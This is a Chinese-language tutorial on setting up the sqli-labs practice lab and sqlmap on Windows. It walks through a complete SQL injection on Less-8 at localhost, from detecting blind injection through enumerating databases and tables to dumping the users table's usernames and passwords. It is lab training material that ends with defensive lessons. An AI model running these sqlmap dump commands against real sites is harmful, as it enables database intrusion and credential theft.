如果还没下载的可以看:sqlmap下载和安装保姆级教程(附安装包)-CSDN博客
操作步骤
打开sqli-labs
首先打开docker或者按照你自己情况来,输入命令打开sqli-labs
使用dockers的命令,打开cmd或者powershell
docker run -dt --name sqli-labs -p 8081:80 --rm acgpiano/sqli-labs
如果没弄好,显示以下样子,这是没连接到数据库
点击初始化
跳转到
再返回,重新进less-8,如图所示是这样就是成功了,如果还没成功,可以稍微等一下再看,可能是数据库连接有点慢
配置sqlmap到环境变量步骤(Windows 10/11)
请按照以下步骤操作,只需要做一次:
-
打开环境变量设置
- 按下键盘上的
Win键(或者点击开始菜单),直接输入"环境变量"。 - 在搜索结果中点击"编辑系统环境变量 "或者"编辑账户的环境变量"。
- 在弹出的窗口中,点击底部的"环境变量"按钮。
- 按下键盘上的
-
找到 Path 变量
- 在"用户变量"或"系统变量"区域(建议选用户变量 ,比较安全),找到名为
Path的变量。 - 选中它,点击"编辑"。
- 在"用户变量"或"系统变量"区域(建议选用户变量 ,比较安全),找到名为
-
添加 Sqlmap 路径
- 在弹出的编辑窗口中,点击"新建"。
- 把你存放 sqlmap 的那个文件夹路径粘贴进去。
- 点击"确定"保存所有窗口。
验证是否成功
配置完成后,你需要重新打开一个新的 CMD 窗口(原来的窗口不会立即生效)。
-
随便打开一个 CMD 窗口(不需要进入 sqlmap 文件夹,直接在桌面或者 C 盘根目录都行)。
-
输入以下命令:
python sqlmap.py --version(注意:即使配置了环境变量,因为 sqlmap 是个 .py 文件而不是 .exe,通常还是建议保留
python前缀。如果你想彻底省略python和.py,那是更高级的配置(看后面),对于初学者,只要能做到"不用 cd 找路径"就已经很方便了。) -
如果直接给你运行了, 说明你的 Python 环境没问题, 比如:

-
要返回命令行使用,先关掉,运行窗口,在命令行cd到存放sqlmap的位置,然后按回车
-
如果回车后没有报错,且前面的路径变成了 存放路径
-
现在运行下面的命令,显示下图所示,sqlmap就启动了
python sqlmap.py

可能出现的问题:

遇到的第二个报错 'sqlmap' 不是内部或外部命令...,是因为你虽然进入了 sqlmap 的文件夹,但运行的方式还是不对。
你确实配置了环境变量,但只配对了一半。
这个配置只告诉 Windows 两件事:
- Python :在这个文件夹里,我找到了
python.exe,所以你在任何地方敲python都能运行。✅(成功) - Sqlmap :在这个文件夹里,Windows 并没有找到 一个叫
sqlmap.exe的文件,它只找到了sqlmap.py。
Windows 的 CMD 默认只能直接识别 .exe、.bat、.com 等可执行程序。 它虽然知道 .py 是 Python 脚本,但当你直接输入 sqlmap 时,它不会自动去猜"你是不是想让我运行 sqlmap.py"。
最简单的解决办法(给它造个"假"命令)
既然你想直接在命令行输入 sqlmap 就能运行,我们只需要做一个小小的"欺骗"操作,创建一个批处理文件。
操作步骤(只需 1 分钟):
-
打开你的文件夹:
C:\Users\zouhuixin\AppData\Local\Programs\Python\Python314\sqlmap -
在空白处右键 -> 新建 -> 文本文档。
-
把这个文件命名为
sqlmap.bat(注意后缀名要改成 .bat,如果看不到后缀名,需要在文件夹上方查看里勾选"文件扩展名")。 -
右键 点击这个
sqlmap.bat,选择编辑(或用记事本打开)。 -
在里面输入这一行代码:
@python "%~dp0sqlmap.py" %* -
解释:这行代码的意思是"当有人调用 sqlmap.bat 时,自动帮我调用 python 去运行同目录下的 sqlmap.py,并把所有参数传过去"。
-
保存,关闭记事本。
-
关闭你现在所有的 CMD 黑窗口。
-
重新打开一个新的 CMD 窗口(这一步很重要,为了让系统重新读取配置)。
-
现在,无论你在哪个目录,直接输入:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch或者是,(双引号里按你的网址来,URL)
sqlmap -u "http://127.0.0.1:8081/Less-8/?id=1" --batch

这样开始就是成功了,它正在尝试各种方法(报错注入、时间盲注等)来进一步确认漏洞并获取更多信息。
等它跑完(屏幕停止滚动),它通常会告诉你:
- 数据库是什么版本。
- 当前连接的用户是谁。
- 甚至可能直接列出所有的数据库名。
更方便的"偷懒"技巧(推荐)
如果你不想配置环境变量,还有一个非常简单的办法:
直接在文件夹里按住 Shift 键 + 鼠标右键,选择"在此处打开 Powershell 窗口"或"在此处打开命令窗口",这样就不用手动 cd 找路径了。
如果你想学彻底省略 python 和 .py
这背后的原理是 Windows 有一个叫 PATHEXT 的机制。默认情况下,Windows 只知道 .EXE 是程序,但我们可以通过修改系统变量,告诉 Windows:"以后看到 .PY 结尾的文件,也把它当成程序直接运行"。
只要两步,就能实现彻底省略:
第一步:让 Windows 识别 .PY 为可执行程序
- 按下
Win键,搜索"环境变量 ",选择"编辑系统环境变量"。 - 点击右下角的"环境变量"按钮。
- 在上半部分(用户变量) 里,找找看有没有叫
PATHEXT的变量。- 如果有:选中它,点击"编辑"。
- 如果没有 :点击"新建",变量名填
PATHEXT,变量值先填.PY。
- 在变量值的最后面,加上
;.PY(注意前面有个分号)。- 最终效果应该是类似这样:
.COM;.EXE;.BAT;.CMD;...;.PY
- 最终效果应该是类似这样:
- 点击确定保存。
第二步:把 Sqlmap 放入"全局搜索路径"
刚才我们只是让系统认识了 .py 文件,现在要告诉系统去哪里找 sqlmap.py。
- 还在"环境变量"窗口,在下半部分(系统变量) 里,找到叫
Path的变量(注意不是用户变量里的那个,虽然改上面的也能生效,但改系统变量更稳妥)。 - 选中
Path,点击"编辑"。 - 点击"新建",然后不要填你现在的 sqlmap 路径。
- 关键操作 :
- 打开你的文件资源管理器,进入这个文件夹:
C:\Users\zouhuixin\AppData\Local\Programs\Python\Python314\ - 在这个文件夹里,新建一个文件夹 ,命名为
sqlmap_scripts(名字随便取,好记就行)。 - 把你原来的
sqlmap文件夹里的 所有内容 (包括sqlmap.py,sqlmapapi.py等所有文件),全部 剪切 并 粘贴 到这个新建的sqlmap_scripts文件夹里。
- 打开你的文件资源管理器,进入这个文件夹:
- 回到刚才的"编辑环境变量"窗口,点击"新建",输入这个新文件夹的路径:
C:\Users\zouhuixin\AppData\Local\Programs\Python\Python314\sqlmap_scripts - 一路点击"确定"保存退出。
开始注入测试
针对 sqli-labs 第 8 关(Less-8)进行 SQLMap 注入测试是一个非常经典的布尔盲注 与时间盲注实战场景。
在这一关中,页面在输入正确时显示 "You are in...........",输入错误时页面空白且无报错信息。这意味着我们无法使用联合查询(Union)或报错注入(Error-based),必须依赖 SQLMap 的盲注技术。
以下是针对 Less-8 的完整 SQLMap 测试流程和命令详解。
1. 基础探测:确认注入点
首先,我们需要让 SQLMap 自动探测注入点类型。由于 Less-8 是盲注,SQLMap 会自动识别出 boolean-based blind(布尔盲注)和 time-based blind(时间盲注)。
(如果你已经配置到了环境或者用了别名)命令:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch
(如果没有配置的话)命令(前面有教配置,配置后就不用cd到sqlmap所在位置,更方便):
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch
-u: 指定目标 URL。--batch: 这是一个非常实用的参数,表示"非交互模式"。它会让 SQLMap 在遇到询问(如"是否继续测试其他参数"、"是否使用默认值")时自动选择默认选项(Yes/No),避免你需要一直按回车。
预期结果:
SQLMap 会识别出注入点类型为 boolean-based blind 和 time-based blind,并提示后端数据库为 MySQL。

可能出现的问题
问题1:
用第一个命令显示不可运行,那就是你没配置,要用第二个命令,或在开始注入测试之前配置环境
问题2:
如果你是用powershell,不是cmd的话,也必须用 python sqlmap.py 这种方式来运行。
为了让你彻底明白,我来解释一下为什么会这样:
1. 为什么必须加
python?
sqlmap本质上不是一个.exe程序,它是一堆 Python 代码文件。
- CMD/PowerShell 只能直接运行
.exe、.bat、.cmd等可执行文件。- 要运行 Python 代码,必须调用 Python 解释器 (也就是那个
python命令)来读取并执行这些代码。这就好比:
python是一个播放器。sqlmap.py是一张光盘。- 你不能直接把光盘扔进房间(直接输 sqlmap)指望它自己唱歌,你必须把光盘放进播放器里(
python sqlmap.py)。
解读扫描结果
- 漏洞确认 :
Type: boolean-based blind(布尔盲注)Type: time-based blind(时间盲注)- 翻译 :这个网站的
id参数确实有漏洞,而且 sqlmap 找到了两种利用方式。
- Payload(攻击载荷) :
- 它甚至给了你具体的攻击代码,比如
id=1' AND 2612=2612...。这就是黑客用来骗过数据库的"暗号"。
- 它甚至给了你具体的攻击代码,比如
- 指纹识别 :
back-end DBMS is MySQL:数据库是 MySQL。web server operating system: Linux Ubuntu:服务器用的是 Ubuntu 系统。PHP 5.5.9, Apache 2.4.7:网站是用 PHP 写的。
简单来说:sqlmap 已经把这个网站里里外外摸了个遍,确认它"有病",而且知道它得的是什么"病"。
2. 进阶测试:获取数据库信息
确认注入点存在后,我们可以开始获取具体的数据。针对 Less-8,建议使用以下参数组合来提高效率:
推荐命令组合:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --technique=B --threads=3 --level=5 --current-db --batch
参数详解:
--technique=B: 指定使用布尔盲注(Boolean-based)。虽然 SQLMap 默认会检测所有技术,但明确指定B或T可以在某些情况下减少不必要的探测时间。--threads=3: 设置线程数为 3。盲注本质上是二分查找,单线程(默认)速度较慢。设置为 3 是"黄金值",既能提速,又不会因为连接过多导致靶场(尤其是本地搭建的)崩溃或 502 错误。--level=5: 探测等级。Less-8 有时需要较深的探测等级才能发现某些嵌套结构的注入点,设置为 5 可以确保探测更全面。
3. 完整数据获取流程
如果你想一步步手动获取所有信息(库名、表名、列名、数据),请按顺序执行以下命令:
第一步:获取当前数据库名
sqlmap -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --current-db --batch
- 结果 :通常会得到
security。
第二步:获取所有数据库名称(可选)
sqlmap -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --dbs --batch
- 结果 :列出所有数据库,如
information_schema,security等。

请看截图最下方的
available databases [5]部分:
information_schema:这是 MySQL 自带的系统数据库,存了所有数据库的结构信息。challenges:这看起来像是另一个练习用的数据库。mysql:这是存放用户权限等核心信息的系统数据库。performance_schema:这是用于监控数据库性能的数据库。security:注意这个! 因为你访问的网址路径是sqli-labs,而 SQLi-Labs 默认使用的数据库名通常就是security。这就是我们要找的目标!
第三步:获取指定数据库(security)中的所有表
sqlmap -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" -D security --tables --batch
-D security: 指定要查询的数据库名为 security。--tables: 获取该库下的所有表名。- 结果 :通常会得到
emails,referers,uagents,users。

你成功进入了
security数据库,并发现了里面的 4张表:
emails:可能是用来练习联合查询注入的表。referers:通常记录访问来源。uagents:记录用户浏览器信息的表(User Agents)。users:这就是我们的终极目标! 绝大多数 SQL 注入练习的目标都是为了拿到这张表里的用户名和密码。
第四步:获取指定表(users)中的所有列
sqlmap -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" -D security -T users --columns --batch
-T users: 指定表名为 users。--columns: 获取该表下的所有列名。- 结果 :通常会得到
id,username,password。
第五步:获取指定列的数据(脱裤)
sqlmap -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" -D security -T users -C username,password --dump --batch
-C username,password: 指定要获取的列名(用逗号分隔)。--dump: 导出/转储数据内容。- 结果:SQLMap 将逐字符跑出具体的用户名和密码。


表格分为三列:
id、password、username。其中最显眼的几个账号是:
- 超级管理员 :用户名
admin,密码也是admin。这是最常见的弱口令。- 测试账号 :用户名
Dumb,密码Dumb;用户名Angelina,密码I-kill-you。- 其他账号 :还有
admin1到admin4等一系列账号,密码与用户名相同。
💡 针对 Less-8 的特别提示
-
关于速度 :
盲注(尤其是布尔盲注)非常耗时,因为它需要通过发送大量请求来逐位猜测数据。如果速度太慢,可以适当增加
--threads(如设为 5 或 10),但要注意观察靶场是否稳定。 -
为什么不用 Union?
Less-8 的代码逻辑中,当 SQL 执行出错时,PHP 代码没有回显任何错误信息(
else分支是空的或仅显示空白),且页面没有回显位(即无法使用UNION SELECT将数据显示在页面上),所以必须使用盲注。 -
遇到卡住怎么办?
如果 SQLMap 在探测过程中卡住,可以尝试加上
--skip-urlencode或者检查你的本地靶场环境(XAMPP/WAMP)是否运行正常。
通过以上步骤,你应该能顺利完成 sqli-labs Less-8 的自动化注入测试。
攻击流程复盘
回顾一下我们刚才走过的路,这就是一个完整的 SQL 注入攻击链条:
- 探测 :发现 URL 的
id参数存在注入漏洞。 - 指纹识别:确认后台数据库是 MySQL。
- 枚举数据库 :列出所有数据库,锁定目标
security。 - 枚举表 :列出
security库里的所有表,锁定目标users。 - 拖库 :使用
--dump命令,把users表里的账号密码全部下载下来。
这一课的启示
这次成功的攻击揭示了几个严重的安全问题:
- 代码层面的漏洞 :网站没有对用户输入的
id参数进行过滤或预处理,导致 SQL 语句被篡改。 - 弱口令 :即使没有漏洞,
admin/admin这种密码也极易被猜解。 - 明文存储密码 :数据库里的密码是直接可见的(如
Dumb、admin),没有进行哈希加密。一旦数据库泄露,用户密码就完全暴露了。
恭喜你完成了 一次SQL 注入实战!




